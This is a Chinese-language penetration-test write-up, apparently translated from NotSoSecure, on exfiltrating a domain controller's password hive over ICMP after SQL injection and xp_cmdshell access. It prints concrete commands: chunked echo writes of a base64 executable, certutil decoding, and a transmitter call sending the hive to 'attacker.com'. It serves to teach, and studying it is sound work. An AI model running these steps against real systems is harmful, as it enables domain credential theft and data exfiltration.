在最近的一个测试项目中,我们遇到一个服务器禁止出站通信的情况,仅允许ICMP(以及DNS)通信。在本文Shyam将为我们讲述如何通过ICMP tunnel获取未过滤数据。
说一下场景,这是一个渗透测试应用。这个应用仅对客户内部网络开放,所以客户提供了一个VPN来访问应用。该VPN仅允许我们访问一台主机(web服务器ip)及一个443端口。
攻击
我们在做:
1.该应用存在一枚SQLi漏洞 2.该应用使用sa账户连接到(MS SQL 2008)数据库 3.我们可以启用xp_cmdshell并执行OS Code(sqlmap是一位好基友)。注意该Shell无法进行SQL注入。命令的输出首先储存在数据库表中,之后通过SQL查询读取。在这里web服务器和数据库服务器是不同的,web服务器除了443就没有其他开放端口了。 4.进一步证明sqlserver进程并非使用‘System’权限运行,但肯定是一个域管理权限账户在运行(domain/sqlsvc) 5.基本上我们最终获得域管理员权限。
拦路虎
内部域上的主机根本没有一丝访问互联网的迹象,我们试着找是否有代理服务器,但是以失败结束。唯一的连接只能通过ICMP和DNS通信了,所以我们现在面临的问题是:
1.不使用工具(metasploit, fgdump, pwdump等),如何获取域hash? 2.即使我们得到了域hash又如何将其传到我们的服务器进行离线破解?
对于问题1,我们参考一个神奇的博客很快就解决了,复制卷备份拉取NTDS.dit文件及system.hive文件
http://www.room362.com/2013/06/volume-shadow-copy-ntdsdit-domain.html?m=1
现在我们有了hive,接着将compromised DC上的hive发送到我们的机器进行离线破解。我们希望有一款工具能够将compromised host (DC)上的hive作为ICMP包发送到我们的服务器,最后使用工具抓取整个ping请求。
我们来看看现有的工具在ICMP隧道上存在的一些问题:
1.针对文件传输的现有工具很少(或者我们只是没有找到合适的工具来完成这项工作) 2.没有ICMP隧道我们如何复制这些ICMP隧道客户端?
所以,我们针对这些问题展开研究,这是我们的解决方案:
1.将hive转换为base64 2.将base64编码文本文件分成一些小块 3.用一个合适的编码创建ICMP packet 4.运行数据包抓取工具并记录我们服务器上的通信 5.一旦所有来自主机发送的数据,我们的服务器接收完成。使用解析器删除所有的header,合并pings数据字段保存到base64编码文本文件。 6.解码base64编码文件,我们就获得了hive
幸运的是,Windows有一个默认安装名为certutil的工具,方便了我们编码解码Base64文件。使用certutil将hive转换为base64
获得编码文件后,接着便是切割文件通过ICMP发送到我们的服务器。这非常棘手,于是我们写了一个Python脚本( ICMP_transmitter.py )来完成这项工作。然而我们还需要使用py2exe将这个py代码转换成exe可执行文件。
以下代码可将代码转为可执行文件:
from distutils.core import setup import py2exe, sys, os sys.argv.append('py2exe') setup( options = {'py2exe': {'bundle_files': 1, 'compressed': True}}, windows = [{'script': "ICMP.py"}], zipfile = None, )
注意,我们使用了bundle_files选项将Python文件转换为可执行文件。使用这种方法,代码将输出独立的可执行文件。
现在我们有了可执行文件,难题又来了。如何将exe文件传给compromised host欲知后事,接着往下看:
1)使用certutil将exe转换为Base64编码格式
2)原来这个文件有80K行这么长,我们决定删除新行并将其切割成每行8000字符,看了下大概有600行。注意:echo命令是有限制的
3)我们进行大约600次Web请求,使用SQLi执行命令:
cmd.exe /c echo "base64_text">>ICMPt_transmitter.txt
4)最后使用下面命令,也就完成了这个问题:
certutil –decode ICMP_transmitter.txt ICMP_transmitter.exe
现在我们只需要运行exe文件了
ICMP_transmitter.exe "hive" "attacker.com"
在我们的服务器上,开启tcpdump抓取ICMP数据包并将其保存为一个pcap文件。当所有的ICMP包停止传输,使用任意pcap解析器,以Base64编码文本文件解析所有数据,当所有的文件分析完成后使用certutil工具将各个文件恢复成各自的格式。
tcpdump -i eth0 ICMP and ICMP[ICMPtype]=ICMP-echo -XX -vvv -w output.txt
可以使用md5sum对接收/发送的文件进行完整性检测
以下是所涉及的步骤:
Step 1:使用certutil工具计算hive的md5sum
Step 2:在我们的机器上开启tcpdump抓取ICMP数据包
Step 3:使用ICMP_transmitter.exe命令将hive传输到我们的IP
Step 4:当所有数据包接收完成,通过按下ctrl^c停止tcpdump获得一个输出文件。输出文件的格式为pcap或者txt–这是由W参数指定
Step 5:使用一个 parser.sh ,解析输出文件获取一个干净的base64编码的hive文件,并另存为transmitted.txt
Step 6:在你的Windows机器上再次使用certutil(or base64 -d on linux/mac)将transmitted.txt解码为hive
在我们的机器上检测hive的md5sum,并与之前的md5sum进行比对。
也许这并不是一个优雅的姿势,欢迎各位分享奇技巧淫!
参考
https://gist.github.com/pklaus/856268
https://technet.microsoft.com/en-us/library/cc732443.aspx
https://www.py2exe.org
http://www.py2exe.org/index.cgi/SingleFileExecutable
* 参考来源: NotSoSecure ,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)